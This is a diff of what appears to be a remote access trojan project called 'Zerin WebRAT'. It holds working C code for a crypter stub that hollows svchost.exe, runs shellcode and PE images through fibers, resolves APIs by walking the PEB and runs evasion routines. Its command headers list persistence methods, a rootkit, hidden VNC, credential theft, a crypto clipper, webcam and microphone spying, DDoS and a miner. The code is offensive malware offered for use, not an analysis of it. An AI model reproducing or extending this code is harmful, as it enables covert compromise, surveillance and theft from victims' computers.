/* No relocation table and base mismatch — can't proceed */
|
||||
if (!(mapped_nt->FileHeader.Characteristics & IMAGE_FILE_RELOCS_STRIPPED)) {
|
||||
g_api.pVirtualFree(base, 0, MEM_RELEASE);
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* ── Resolve imports ──────────────────────────────────────── */
|
||||
if (!resolve_pe_imports(base, mapped_nt)) {
|
||||
g_api.pVirtualFree(base, 0, MEM_RELEASE);
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* ── Set per-section page protections ─────────────────────── */
|
||||
sec = IMAGE_FIRST_SECTION(mapped_nt);
|
||||
for (WORD i = 0; i < mapped_nt->FileHeader.NumberOfSections; i++) {
|
||||
DWORD protect = section_protection(sec[i].Characteristics);
|
||||
DWORD virt_size = sec[i].Misc.VirtualSize;
|
||||
if (virt_size == 0) virt_size = sec[i].SizeOfRawData;
|
||||
if (virt_size == 0) continue;
|
||||
|
||||
DWORD old_protect;
|
||||
g_api.pVirtualProtect(
|
||||
base + sec[i].VirtualAddress,
|
||||
virt_size,
|
||||
protect,
|
||||
&old_protect);
|
||||
}
|
||||
|
||||
/* ── Flush instruction cache ──────────────────────────────── */
|
||||
g_api.pFlushInstructionCache(g_api.pGetCurrentProcess(), base, image_size);
|
||||
|
||||
/* ── Execute via fiber ────────────────────────────────────── */
|
||||
fn_DllMain entry = (fn_DllMain)(base + mapped_nt->OptionalHeader.AddressOfEntryPoint);
|
||||
|
||||
FiberContext fiber_ctx;
|
||||
fiber_ctx.entry_point = entry;
|
||||
fiber_ctx.image_base = base;
|
||||
|
||||
LPVOID main_fiber = g_api.pConvertThreadToFiber(NULL);
|
||||
if (!main_fiber) {
|
||||
/* Already a fiber — get current fiber */
|
||||
main_fiber = GetCurrentFiber();
|
||||
}
|
||||
|
||||
LPVOID exec_fiber = g_api.pCreateFiber(0, fiber_entry, &fiber_ctx);
|
||||
if (!exec_fiber) {
|
||||
g_api.pVirtualFree(base, 0, MEM_RELEASE);
|
||||
return -1;
|
||||
}
|
||||
|
||||
g_api.pSwitchToFiber(exec_fiber);
|
||||
|
||||
/* Control returns here after payload completes or calls SwitchToFiber back */
|
||||
g_api.pDeleteFiber(exec_fiber);
|
||||
|
||||
return 0;
|
||||
}
|
||||
Executable
+150
@@ -0,0 +1,150 @@
|
||||
/**
|
||||
* runpe_stub.c — RunPE / Process Hollowing
|
||||
*
|
||||
* Creates a suspended process, unmaps the original image, writes the
|
||||
* decrypted PE into the target, fixes the entry point, and resumes.
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
#include <winternl.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
|
||||
#include "api_resolve.h"
|
||||
|
||||
/* CRYPTER_TARGET_PROCESS_PLACEHOLDER */
|
||||
static const wchar_t TARGET_PROCESS[] = L"C:\\Windows\\System32\\svchost.exe";
|
||||
|
||||
/**
|
||||
* Execute a PE image via process hollowing.
|
||||
* pe_data: pointer to decrypted PE bytes
|
||||
* pe_len: length of the PE data
|
||||
* Returns 0 on success, -1 on failure.
|
||||
*/
|
||||
int runpe_execute(const uint8_t *pe_data, uint32_t pe_len) {
|
||||
STARTUPINFOW si;
|
||||
PROCESS_INFORMATION pi;
|
||||
CONTEXT ctx;
|
||||
NTSTATUS status;
|
||||
|
||||
ZeroMemory(&si, sizeof(si));
|
||||
si.cb = sizeof(si);
|
||||
ZeroMemory(&pi, sizeof(pi));
|
||||
|
||||
/* Validate PE */
|
||||
if (pe_len < sizeof(IMAGE_DOS_HEADER)) return -1;
|
||||
IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)pe_data;
|
||||
if (dos->e_magic != IMAGE_DOS_SIGNATURE) return -1;
|
||||
if ((uint32_t)dos->e_lfanew + sizeof(IMAGE_NT_HEADERS) > pe_len) return -1;
|
||||
IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS *)(pe_data + dos->e_lfanew);
|
||||
if (nt->Signature != IMAGE_NT_SIGNATURE) return -1;
|
||||
|
||||
/* Create target process in suspended state */
|
||||
if (!g_api.pCreateProcessW(TARGET_PROCESS, NULL, NULL, NULL, FALSE,
|
||||
CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* Get thread context to find PEB */
|
||||
ctx.ContextFlags = CONTEXT_FULL;
|
||||
if (!g_api.pGetThreadContext(pi.hThread, &ctx)) {
|
||||
g_api.pTerminateProcess(pi.hProcess, 1);
|
||||
g_api.pCloseHandle(pi.hThread);
|
||||
g_api.pCloseHandle(pi.hProcess);
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* Read PEB to get image base of the target */
|
||||
PVOID pbi_buf[6]; /* PROCESS_BASIC_INFORMATION */
|
||||
status = g_api.pNtQueryInformationProcess(pi.hProcess, 0 /* ProcessBasicInformation */,
|
||||
pbi_buf, sizeof(pbi_buf), NULL);
|
||||
if (status != 0) {
|
||||
g_api.pTerminateProcess(pi.hProcess, 1);
|
||||
g_api.pCloseHandle(pi.hThread);
|
||||
g_api.pCloseHandle(pi.hProcess);
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* PEB address is the 2nd pointer-sized field */
|
||||
PVOID peb_addr = pbi_buf[1];
|
||||
PVOID image_base_addr;
|
||||
|
||||
/* Read ImageBaseAddress from PEB (offset 0x10 on x64, 0x08 on x86) */
|
||||
#ifdef _WIN64
|
||||
SIZE_T peb_offset = 0x10;
|
||||
#else
|
||||
SIZE_T peb_offset = 0x08;
|
||||
#endif
|
||||
if (!g_api.pReadProcessMemory(pi.hProcess, (PBYTE)peb_addr + peb_offset,
|
||||
&image_base_addr, sizeof(image_base_addr), NULL)) {
|
||||
g_api.pTerminateProcess(pi.hProcess, 1);
|
||||
g_api.pCloseHandle(pi.hThread);
|
||||
g_api.pCloseHandle(pi.hProcess);
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* Unmap the original PE image */
|
||||
g_api.pNtUnmapViewOfSection(pi.hProcess, image_base_addr);
|
||||
|
||||
/* Allocate memory at the PE's preferred base */
|
||||
LPVOID remote_base = g_api.pVirtualAllocEx(
|
||||
pi.hProcess,
|
||||
(LPVOID)(ULONG_PTR)nt->OptionalHeader.ImageBase,
|
||||
nt->OptionalHeader.SizeOfImage,
|
||||
MEM_COMMIT | MEM_RESERVE,
|
||||
PAGE_EXECUTE_READWRITE
|
||||
);
|
||||
if (!remote_base) {
|
||||
/* Try at any address if preferred base is taken */
|
||||
remote_base = g_api.pVirtualAllocEx(
|
||||
pi.hProcess, NULL,
|
||||
nt->OptionalHeader.SizeOfImage,
|
||||
MEM_COMMIT | MEM_RESERVE,
|
||||
PAGE_EXECUTE_READWRITE
|
||||
);
|
||||
if (!remote_base) {
|
||||
g_api.pTerminateProcess(pi.hProcess, 1);
|
||||
g_api.pCloseHandle(pi.hThread);
|
||||
g_api.pCloseHandle(pi.hProcess);
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
|
||||
/* Write PE headers */
|
||||
g_api.pWriteProcessMemory(pi.hProcess, remote_base, pe_data,
|
||||
nt->OptionalHeader.SizeOfHeaders, NULL);
|
||||
|
||||
/* Write each section */
|
||||
IMAGE_SECTION_HEADER *sec = IMAGE_FIRST_SECTION(nt);
|
||||
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++) {
|
||||
if (sec[i].SizeOfRawData == 0) continue;
|
||||
g_api.pWriteProcessMemory(
|
||||
pi.hProcess,
|
||||
(PBYTE)remote_base + sec[i].VirtualAddress,
|
||||
pe_data + sec[i].PointerToRawData,
|
||||
sec[i].SizeOfRawData,
|
||||
NULL
|
||||
);
|
||||
}
|
||||
|
||||
/* Update PEB ImageBaseAddress to point to our allocation */
|
||||
g_api.pWriteProcessMemory(pi.hProcess, (PBYTE)peb_addr + peb_offset,
|
||||
&remote_base, sizeof(remote_base), NULL);
|
||||
|
||||
/* Fix thread context entry point */
|
||||
#ifdef _WIN64
|
||||
ctx.Rcx = (DWORD64)remote_base + nt->OptionalHeader.AddressOfEntryPoint;
|
||||
#else
|
||||
ctx.Eax = (DWORD)remote_base + nt->OptionalHeader.AddressOfEntryPoint;
|
||||
#endif
|
||||
|
||||
g_api.pSetThreadContext(pi.hThread, &ctx);
|
||||
|
||||
/* Resume the target process */
|
||||
g_api.pResumeThread(pi.hThread);
|
||||
|
||||
g_api.pCloseHandle(pi.hThread);
|
||||
g_api.pCloseHandle(pi.hProcess);
|
||||
|
||||
return 0;
|
||||
}
|
||||
Executable
+58
@@ -0,0 +1,58 @@
|
||||
/**
|
||||
* shellcode_stub.c — Shellcode execution (local, fiber-based)
|
||||
*
|
||||
* Allocates RW memory, copies decrypted payload, flips to RX,
|
||||
* and executes via fiber switching (no CreateThread).
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
|
||||
#include "api_resolve.h"
|
||||
|
||||
/**
|
||||
* Execute raw shellcode in the current process via fiber.
|
||||
* sc_data: pointer to decrypted shellcode bytes
|
||||
* sc_len: length of the shellcode
|
||||
* Returns 0 on success, -1 on failure.
|
||||
*/
|
||||
int shellcode_execute(const uint8_t *sc_data, uint32_t sc_len) {
|
||||
if (!sc_data || sc_len == 0) return -1;
|
||||
|
||||
/* Allocate RW memory */
|
||||
LPVOID mem = g_api.pVirtualAlloc(NULL, sc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
if (!mem) return -1;
|
||||
|
||||
/* Copy shellcode */
|
||||
memcpy(mem, sc_data, sc_len);
|
||||
|
||||
/* Flip to RX (no RWX — avoid easy detection) */
|
||||
DWORD old_protect;
|
||||
if (!g_api.pVirtualProtect(mem, sc_len, PAGE_EXECUTE_READ, &old_protect)) {
|
||||
g_api.pVirtualFree(mem, 0, MEM_RELEASE);
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* Execute via fiber — avoids CreateThread behavioral signature */
|
||||
LPVOID main_fiber = g_api.pConvertThreadToFiber(NULL);
|
||||
if (!main_fiber) {
|
||||
main_fiber = GetCurrentFiber();
|
||||
}
|
||||
|
||||
LPVOID sc_fiber = g_api.pCreateFiber(0, (LPFIBER_START_ROUTINE)mem, NULL);
|
||||
if (!sc_fiber) {
|
||||
g_api.pVirtualFree(mem, 0, MEM_RELEASE);
|
||||
return -1;
|
||||
}
|
||||
|
||||
g_api.pSwitchToFiber(sc_fiber);
|
||||
|
||||
/* Control returns here after shellcode completes */
|
||||
g_api.pDeleteFiber(sc_fiber);
|
||||
|
||||
/* Clean up */
|
||||
g_api.pVirtualFree(mem, 0, MEM_RELEASE);
|
||||
|
||||
return 0;
|
||||
}
|
||||
Executable
+80
@@ -0,0 +1,80 @@
|
||||
/**
|
||||
* stub_main.c — Crypter stub entry point
|
||||
*
|
||||
* Flow:
|
||||
* 1. Resolve all APIs via PEB walking
|
||||
* 2. Run enabled evasion modules
|
||||
* 3. Decrypt embedded payload (XOR + AES-256-CBC)
|
||||
* 4. Execute via selected mode (RunPE or Shellcode)
|
||||
* 5. Wipe decrypted payload from memory
|
||||
*
|
||||
* The crypter engine defines:
|
||||
* - EVASION_xxx flags for each enabled evasion module
|
||||
* - CRYPT_MODE_RUNPE or CRYPT_MODE_SHELLCODE
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
|
||||
#include "api_resolve.h"
|
||||
#include "decrypt_layer.h"
|
||||
#include "evasion.h"
|
||||
|
||||
/* Mode-specific execution functions (linked from runpe_stub.c or shellcode_stub.c) */
|
||||
#ifdef CRYPT_MODE_RUNPE
|
||||
int runpe_execute(const uint8_t *pe_data, uint32_t pe_len);
|
||||
#endif
|
||||
|
||||
#ifdef CRYPT_MODE_SHELLCODE
|
||||
int shellcode_execute(const uint8_t *sc_data, uint32_t sc_len);
|
||||
#endif
|
||||
|
||||
/**
|
||||
* Securely wipe memory with volatile write to prevent compiler optimization.
|
||||
*/
|
||||
static void secure_wipe(void *ptr, size_t len) {
|
||||
volatile uint8_t *p = (volatile uint8_t *)ptr;
|
||||
while (len--) *p++ = 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* WinMain — GUI subsystem entry point (no console window).
|
||||
*/
|
||||
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
|
||||
LPSTR lpCmdLine, int nCmdShow) {
|
||||
(void)hInstance;
|
||||
(void)hPrevInstance;
|
||||
(void)lpCmdLine;
|
||||
(void)nCmdShow;
|
||||
|
||||
/* Step 1: Resolve all APIs via PEB walking */
|
||||
api_resolve_init();
|
||||
|
||||
/* Step 2: Run evasion modules */
|
||||
evasion_init_all();
|
||||
|
||||
/* Step 3: Decrypt payload */
|
||||
uint32_t payload_len = 0;
|
||||
uint8_t *payload = decrypt_payload(&payload_len);
|
||||
if (!payload || payload_len == 0) {
|
||||
return 1;
|
||||
}
|
||||
|
||||
/* Step 4: Execute */
|
||||
int result = -1;
|
||||
|
||||
#ifdef CRYPT_MODE_RUNPE
|
||||
result = runpe_execute(payload, payload_len);
|
||||
#endif
|
||||
|
||||
#ifdef CRYPT_MODE_SHELLCODE
|
||||
result = shellcode_execute(payload, payload_len);
|
||||
#endif
|
||||
|
||||
/* Step 5: Wipe decrypted payload */
|
||||
secure_wipe(payload, payload_len);
|
||||
HeapFree(GetProcessHeap(), 0, payload);
|
||||
|
||||
return result;
|
||||
}
|
||||
Executable
BIN
Binary file not shown.
+440
File diff suppressed because one or more lines are too long
+1
File diff suppressed because one or more lines are too long
+448
File diff suppressed because one or more lines are too long
+1
File diff suppressed because one or more lines are too long
+508
File diff suppressed because one or more lines are too long
+451
File diff suppressed because one or more lines are too long
+1
File diff suppressed because one or more lines are too long
+1
File diff suppressed because one or more lines are too long
+1
File diff suppressed because one or more lines are too long
+430
File diff suppressed because one or more lines are too long
+1
File diff suppressed because one or more lines are too long
+422
File diff suppressed because one or more lines are too long
+440
File diff suppressed because one or more lines are too long
+422
File diff suppressed because one or more lines are too long
+508
File diff suppressed because one or more lines are too long
+508
File diff suppressed because one or more lines are too long
+1
File diff suppressed because one or more lines are too long
+1
@@ -0,0 +1 @@
|
||||
(function(){"use strict";let n=null,o=null,l=0,c=0;function r(i,t){(!n||l!==i||c!==t)&&(n=new OffscreenCanvas(i,t),o=n.getContext("2d"),l=i,c=t)}self.onmessage=async i=>{const t=i.data;if(t.type==="init"){r(t.width,t.height);return}if(t.type==="tiles"){const{tiles:f,solids:b,width:m,height:p,cursorX:d,cursorY:u,tileSize:s}=t;if(r(m,p),!o)return;for(const a of b)o.fillStyle=`rgb(${a.r},${a.g},${a.b})`,o.fillRect(a.col*s,a.row*s,s,s);if(f.length>0){const a=await Promise.all(f.map(async e=>{const w=new Blob([e.data],{type:"image/jpeg"});return{bitmap:await createImageBitmap(w),col:e.col,row:e.row}}));for(const e of a)o.drawImage(e.bitmap,e.col*s,e.row*s),e.bitmap.close()}const g=n.transferToImageBitmap();self.postMessage({type:"frame",bitmap:g,width:m,height:p,cursorX:d,cursorY:u},[g])}}})();
|
||||
+25
@@ -0,0 +1,25 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8" />
|
||||
<link rel="icon" type="image/png" href="/zerin-logo.png" />
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
||||
<title>Zerin WebRAT</title>
|
||||
<!-- Replaced external Google Fonts CDN with system font stack to avoid
|
||||
third-party requests that leak user IP/timing to Google servers.
|
||||
The font-family declarations in Tailwind config should use these system fonts. -->
|
||||
<style>
|
||||
/* System font fallbacks for the previously loaded Google Fonts */
|
||||
:root {
|
||||
--font-display: 'Segoe UI', system-ui, -apple-system, BlinkMacSystemFont, 'Helvetica Neue', Arial, sans-serif;
|
||||
--font-sans: 'Segoe UI', system-ui, -apple-system, BlinkMacSystemFont, 'Helvetica Neue', Arial, sans-serif;
|
||||
--font-mono: 'Cascadia Code', 'Consolas', 'SF Mono', 'Liberation Mono', 'Menlo', monospace;
|
||||
}
|
||||
</style>
|
||||
<script type="module" crossorigin src="/assets/index-RE_RleHj.js"></script>
|
||||
<link rel="stylesheet" crossorigin href="/assets/index-CIWNzjym.css">
|
||||
</head>
|
||||
<body>
|
||||
<div id="root"></div>
|
||||
</body>
|
||||
</html>
|
||||
BIN
Binary file not shown.
|
After Width: | Height: | Size: 2.2 MiB |
Executable
+95
@@ -0,0 +1,95 @@
|
||||
// Auto-generated by generate_cmd_hashes.py - DO NOT EDIT
|
||||
#ifndef CMD_HASHES_GEN_H
|
||||
#define CMD_HASHES_GEN_H
|
||||
|
||||
#include <stdint.h>
|
||||
|
||||
static inline uint32_t fnv1a_hash(const char *s) {
|
||||
uint32_t h = 0x811c9dc5u;
|
||||
for (; *s; s++) {
|
||||
h ^= (uint8_t)*s;
|
||||
h *= 0x01000193u;
|
||||
}
|
||||
return h;
|
||||
}
|
||||
|
||||
#define CMD_HASH_SHELL 0x11e1fc01u // "shell"
|
||||
#define CMD_HASH_WHOAMI 0xbaa8b444u // "whoami"
|
||||
#define CMD_HASH_PS 0x5e4e6e94u // "ps"
|
||||
#define CMD_HASH_LS 0x5631dfe8u // "ls"
|
||||
#define CMD_HASH_CD 0x5b299902u // "cd"
|
||||
#define CMD_HASH_PWD 0x556dfd44u // "pwd"
|
||||
#define CMD_HASH_UPLOAD 0x3c5c055cu // "upload"
|
||||
#define CMD_HASH_DOWNLOAD 0x3108b3f9u // "download"
|
||||
#define CMD_HASH_SCREENSHOT 0xe822c431u // "screenshot"
|
||||
#define CMD_HASH_NETSTAT 0x8641626au // "netstat"
|
||||
#define CMD_HASH_IFCONFIG 0x4aa92ce0u // "ifconfig"
|
||||
#define CMD_HASH_REG_READ 0xc72252d6u // "reg_read"
|
||||
#define CMD_HASH_REG_WRITE 0xabc534f9u // "reg_write"
|
||||
#define CMD_HASH_PERSIST_RUNKEY 0x9473a758u // "persist_runkey"
|
||||
#define CMD_HASH_PERSIST_SCHTASK 0x6530d0d3u // "persist_schtask"
|
||||
#define CMD_HASH_PERSIST_SERVICE 0x0e672827u // "persist_service"
|
||||
#define CMD_HASH_ENV 0x788e8bb4u // "env"
|
||||
#define CMD_HASH_SYSINFO 0xcfcf4cc6u // "sysinfo"
|
||||
#define CMD_HASH_PERSIST_STARTUP 0x40dfb5c5u // "persist_startup"
|
||||
#define CMD_HASH_PERSIST_LOGONSCRIPT 0xc1b2c568u // "persist_logonscript"
|
||||
#define CMD_HASH_PERSIST_SCREENSAVER 0x47d4c41du // "persist_screensaver"
|
||||
#define CMD_HASH_PERSIST_IFEO 0x54ca1bf7u // "persist_ifeo"
|
||||
#define CMD_HASH_PERSIST_BITS 0xb9b6b8c4u // "persist_bits"
|
||||
#define CMD_HASH_PERSIST_COM 0x8e03e859u // "persist_com"
|
||||
#define CMD_HASH_PERSIST_DLLHIJACK 0x6a8fb06cu // "persist_dllhijack"
|
||||
#define CMD_HASH_PERSIST_WMI 0x2be524afu // "persist_wmi"
|
||||
#define CMD_HASH_PERSIST_PORTMON 0xbe42648fu // "persist_portmon"
|
||||
#define CMD_HASH_PERSIST_SSP 0xc0da6796u // "persist_ssp"
|
||||
#define CMD_HASH_DELETE 0x67c2444au // "delete"
|
||||
#define CMD_HASH_ENCRYPT 0x82cac862u // "encrypt"
|
||||
#define CMD_HASH_DECRYPT 0xac13bc9au // "decrypt"
|
||||
#define CMD_HASH_EXECUTE 0xa01e3d98u // "execute"
|
||||
#define CMD_HASH_UNINSTALL 0xd15eb499u // "uninstall"
|
||||
#define CMD_HASH_RESTART 0xfe9c11ecu // "restart"
|
||||
#define CMD_HASH_SHUTDOWN 0xf8206a4bu // "shutdown"
|
||||
#define CMD_HASH_TROLL_MSGBOX 0xf6b0da8bu // "troll_msgbox"
|
||||
#define CMD_HASH_TROLL_TTS 0xb92fcd5eu // "troll_tts"
|
||||
#define CMD_HASH_TROLL_WEBSITE 0xea9769a6u // "troll_website"
|
||||
#define CMD_HASH_TROLL_WALLPAPER 0x361b9145u // "troll_wallpaper"
|
||||
#define CMD_HASH_TROLL_TASKBAR 0xcb614b5du // "troll_taskbar"
|
||||
#define CMD_HASH_TROLL_CD_TRAY 0x28ec819fu // "troll_cd_tray"
|
||||
#define CMD_HASH_CHAT 0xa24bf9abu // "chat"
|
||||
#define CMD_HASH_ROOTKIT_STATUS 0xaf4d6dfau // "rootkit_status"
|
||||
#define CMD_HASH_ROOTKIT_INJECT 0x14be2ed1u // "rootkit_inject"
|
||||
#define CMD_HASH_ROOTKIT_INJECT_ALL 0x0f180711u // "rootkit_inject_all"
|
||||
#define CMD_HASH_VNC_START 0x8d84f5ddu // "vnc_start"
|
||||
#define CMD_HASH_VNC_STOP 0x8a7703cfu // "vnc_stop"
|
||||
#define CMD_HASH_HVNC_START 0x99f0682bu // "hvnc_start"
|
||||
#define CMD_HASH_HVNC_STOP 0x5b4bc999u // "hvnc_stop"
|
||||
#define CMD_HASH_HVNC_EXEC 0x342b6540u // "hvnc_exec"
|
||||
#define CMD_HASH_POWERSHELL 0xba13e3d8u // "powershell"
|
||||
#define CMD_HASH_KILL 0xc50f4599u // "kill"
|
||||
#define CMD_HASH_WINDOWS 0xd59726eau // "windows"
|
||||
#define CMD_HASH_INSTALLED_APPS 0x3a88eeceu // "installed_apps"
|
||||
#define CMD_HASH_SPECS 0xa27c87b7u // "specs"
|
||||
#define CMD_HASH_TROLL_SWAPMOUSE 0x8cc1f8f9u // "troll_swapmouse"
|
||||
#define CMD_HASH_TROLL_DISABLESOUND 0xff756fdeu // "troll_disablesound"
|
||||
#define CMD_HASH_TROLL_BLACKSCREEN 0x13b0f13cu // "troll_blackscreen"
|
||||
#define CMD_HASH_TROLL_DISABLEKEYBOARD 0x180e5bf6u // "troll_disablekeyboard"
|
||||
#define CMD_HASH_TROLL_DISABLEMOUSE 0x5b3a6632u // "troll_disablemouse"
|
||||
#define CMD_HASH_TROLL_REROUTESITES 0x07e81e6bu // "troll_reroutesites"
|
||||
#define CMD_HASH_CREDS 0xd7cf5f56u // "creds"
|
||||
#define CMD_HASH_CLIPPER_START 0xf5a6ba85u // "clipper_start"
|
||||
#define CMD_HASH_CLIPPER_STOP 0x4dacf7d7u // "clipper_stop"
|
||||
#define CMD_HASH_CLIPPER_CONFIG 0x9598ae9du // "clipper_config"
|
||||
#define CMD_HASH_WEBCAM_START 0x20f4f1afu // "webcam_start"
|
||||
#define CMD_HASH_WEBCAM_STOP 0x803e5ef5u // "webcam_stop"
|
||||
#define CMD_HASH_WEBCAM_LIST 0xdedff6f1u // "webcam_list"
|
||||
#define CMD_HASH_MIC_START 0x0a6d49b7u // "mic_start"
|
||||
#define CMD_HASH_MIC_STOP 0x40355c1du // "mic_stop"
|
||||
#define CMD_HASH_SOCKS5_START 0xd014acfeu // "socks5_start"
|
||||
#define CMD_HASH_SOCKS5_STOP 0x6d3ba286u // "socks5_stop"
|
||||
#define CMD_HASH_DDOS_START 0x22ec5614u // "ddos_start"
|
||||
#define CMD_HASH_DDOS_STOP 0x7202bfd0u // "ddos_stop"
|
||||
#define CMD_HASH_MINER_START 0x81844fabu // "miner_start"
|
||||
#define CMD_HASH_MINER_STOP 0x6d56f419u // "miner_stop"
|
||||
#define CMD_HASH_MINER_STATUS 0x301d5e0bu // "miner_status"
|
||||
#define CMD_HASH_ELEVATE 0x4ce1977du // "elevate"
|
||||
|
||||
#endif // CMD_HASHES_GEN_H
|
||||
Executable
+155
@@ -0,0 +1,155 @@
|
||||
#ifndef ZERIN_COMMANDS_H
|
||||
#define ZERIN_COMMANDS_H
|
||||
|
||||
#include "protocol.h"
|
||||
#include "config.h"
|
||||
|
||||
// Command handler function type
|
||||
typedef int (*command_handler_fn)(const task_t *task, task_result_t *result, char *cwd);
|
||||
|
||||
// Command dispatch — routes task.command to the right handler
|
||||
int command_dispatch(const task_t *task, task_result_t *result, char *cwd);
|
||||
|
||||
// Individual command handlers
|
||||
int cmd_shell(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_whoami(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_ps(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_ls(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_cd(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_pwd(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_upload(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_download(const task_t *task, task_result_t *result, char *cwd);
|
||||
|
||||
// Phase 2 — enhanced commands
|
||||
int cmd_screenshot(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_netstat(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_ifconfig(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_reg_read(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_reg_write(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_persist_runkey(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_persist_schtask(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_persist_service(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_env(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_sysinfo(const task_t *task, task_result_t *result, char *cwd);
|
||||
|
||||
// Advanced persistence methods
|
||||
int cmd_persist_startup(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_persist_logonscript(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_persist_screensaver(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_persist_ifeo(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_persist_bits(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_persist_com(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_persist_dllhijack(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_persist_wmi(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_persist_portmon(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_persist_ssp(const task_t *task, task_result_t *result, char *cwd);
|
||||
|
||||
// File actions — delete, encrypt, decrypt, execute
|
||||
int cmd_delete(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_encrypt(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_decrypt(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_execute(const task_t *task, task_result_t *result, char *cwd);
|
||||
|
||||
// Auto-persistence + uninstall
|
||||
int cmd_uninstall(const task_t *task, task_result_t *result, char *cwd);
|
||||
void persist_auto_install(zerin_config_t *cfg);
|
||||
void persist_self_copy(zerin_config_t *cfg);
|
||||
|
||||
// Rootkit commands
|
||||
int cmd_rootkit_status(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_rootkit_inject(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_rootkit_inject_all(const task_t *task, task_result_t *result, char *cwd);
|
||||
|
||||
// VNC (remote desktop)
|
||||
int cmd_vnc_start(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_vnc_stop(const task_t *task, task_result_t *result, char *cwd);
|
||||
void vnc_cleanup(void);
|
||||
|
||||
// hVNC (hidden virtual desktop)
|
||||
int cmd_hvnc_start(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_hvnc_stop(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_hvnc_exec(const task_t *task, task_result_t *result, char *cwd);
|
||||
|
||||
// Power commands
|
||||
int cmd_restart(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_shutdown(const task_t *task, task_result_t *result, char *cwd);
|
||||
|
||||
// Troll commands
|
||||
int cmd_troll_msgbox(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_troll_tts(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_troll_website(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_troll_wallpaper(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_troll_taskbar(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_troll_cd_tray(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_troll_swapmouse(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_troll_disablesound(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_troll_blackscreen(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_troll_disablekeyboard(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_troll_disablemouse(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_troll_reroutesites(const task_t *task, task_result_t *result, char *cwd);
|
||||
|
||||
// Chat
|
||||
int cmd_chat(const task_t *task, task_result_t *result, char *cwd);
|
||||
|
||||
// Powershell
|
||||
int cmd_powershell(const task_t *task, task_result_t *result, char *cwd);
|
||||
|
||||
// Kill process
|
||||
int cmd_kill(const task_t *task, task_result_t *result, char *cwd);
|
||||
|
||||
// Window enumeration
|
||||
int cmd_windows(const task_t *task, task_result_t *result, char *cwd);
|
||||
|
||||
// Installed applications
|
||||
int cmd_installed_apps(const task_t *task, task_result_t *result, char *cwd);
|
||||
|
||||
// System specs
|
||||
int cmd_specs(const task_t *task, task_result_t *result, char *cwd);
|
||||
|
||||
// AV detection (shared with recon)
|
||||
void get_av_product(char *buf, size_t len);
|
||||
|
||||
// Credential recovery
|
||||
int cmd_creds(const task_t *task, task_result_t *result, char *cwd);
|
||||
|
||||
// Crypto clipper
|
||||
int cmd_clipper_start(const task_t *task, task_result_t *result, char *cwd);
|
||||
int cmd_clipper_stop(const task_t *task, task_result_t *result, char *cwd);
|
||||
